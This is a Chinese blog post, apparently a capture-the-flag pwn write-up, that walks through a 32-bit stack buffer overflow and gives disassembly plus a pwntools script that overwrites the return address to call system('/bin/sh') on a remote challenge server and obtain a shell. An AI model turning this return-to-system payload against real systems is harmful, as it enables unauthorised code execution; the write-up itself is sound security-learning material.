首页 > 技术文章 > CTF:第四题

suanguade 2020-05-26 21:09 原文

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1

浪费了非常多的时间,主要是用在了python 里面 bytes 和 string 拼接的问题上了

后面再说吧。

 

 

 

 

 

题目非常简单,一个标准的缓冲区溢出,缓冲区长度0x88,但是接受输入0x100字节,很棒,

怎么解决呢,怎么解决呢,其实目前能想到的办法就是,调用个system 然后拿shell,

至于怎么调用,当然是 system("/bin/sh")

理论上就是这样了

那么具体怎么做呢。

方法也很简单,看汇编

 

 

 

缓冲区溢出之后,我们劫持控制流,回到上面去调用那个system,

system 函数需要一个参数才能启动一个shell,

好办,那我们就给他一个参数,

程序内存里面也有一个

 

 

也就是说,我劫持控制流调用system,然后让内存里面参数是这个就可以了。

 

当前程序

 

 

 没有保护,好棒,而且是32位的,好棒

 

32位程序相比64位程序,最大的优点就是通过栈内存传参,所以我们只要构造好调用栈就可以了

具体调用栈如何构造,可以这样

 

 

大概就是这样,或者画好看点

位置 名字 长度
函数内 char 0x88
函数内 老ebp 4
函数内 返回地址 4
函数外 参数1 4
函数外 参数2 4
     
     

大概就是这样,我们需要构造的结构就是类似这样的,

首先要填充0x88个任意char,

之后填写4个字节覆盖老的ebp,

再精心构造一个返回地址,让当前函数返回的时候可以返回到指定的位置继续调用system函数

之后这个位置,应该是system函数的第一个参数,这里可能不太好理解,为什么啊,写代码来说明

 1 .text:0804844B ; __unwind {
 2 .text:0804844B                 push    ebp
 3 .text:0804844C                 mov     ebp, esp
 4 .text:0804844E                 sub     esp, 88h
 5 .text:08048454                 sub     esp, 0Ch
 6 .text:08048457                 push    offset command  ; "echo Input:"
 7 .text:0804845C                 call    _system
 8 .text:08048461                 add     esp, 10h
 9 .text:08048464                 sub     esp, 4
10 .text:08048467                 push    100h            ; nbytes
11 .text:0804846C                 lea     eax, [ebp+buf]
12 .text:08048472                 push    eax             ; buf
13 .text:08048473                 push    0               ; fd
14 .text:08048475                 call    _read
15 .text:0804847A                 add     esp, 10h
16 .text:0804847D                 nop
17 .text:0804847E                 leave
18 .text:0804847F                 retn
19 .text:0804847F ; } // starts at 804844B

目前代码,是这样的,我们构造好数据,并且执行了之后,

相当于上面汇编代码里面,在第17行和18行之间,插入了如下代码

1 pop eax
2 jmp 0804845c

第一句的意思是,把老的返回地址给冲掉,

第二句的意思是,跳转到system 那行代码,重新执行,

而重新执行的是什么,就是在老的返回地址外面的一个值,那个才是参数,

也就是说,在函数外,参数1的位置,是system 函数要重新执行的参数,我们需要把这个参数1 改成 /bin/sh 的地址。

 

好了,知道怎么做了,开始构造数据,并且上报

代码如下

 1 from pwn import *
 2 
 3 #a = process("./24ac28ef281b4b6caab44d6d52b17491")
 4 a = remote('124.126.19.106', 48829)
 5 r = a.recvuntil(":")
 6 print(r)
 7 
 8 str = "A" * 0x88 + 'a' * 0x4 + "\x5c\x84\x04\x08" + "\x24\xA0\x04\x08"
 9 print(str)
10 a.send(str)
11 
12 a.interactive()

一共分四部分,

第一部分是 0x88 个字符,填充buffer,

第二部分是 4个字符,填充ebp原始值,

第三部分就是返回地址了,要填充system 的地址,

第四部分是字符串参数地址。

 

 

结果就是这样,拿到数据了。

 

 

好了,后续的问题,为什么这个东西扯了那么久,

因为后面两个数据的拼接,其实很费劲,

最开始的时候我用的 p32() 拼接,但是提示bytes 不能和 str 拼接,

我就疯了,疯狂想办法解决这个问题,但是就是解决不了。。。

哎,希望我以后也不要遇到这个问题了。

到目前,其实我仍然还是解决不了。

 

推荐阅读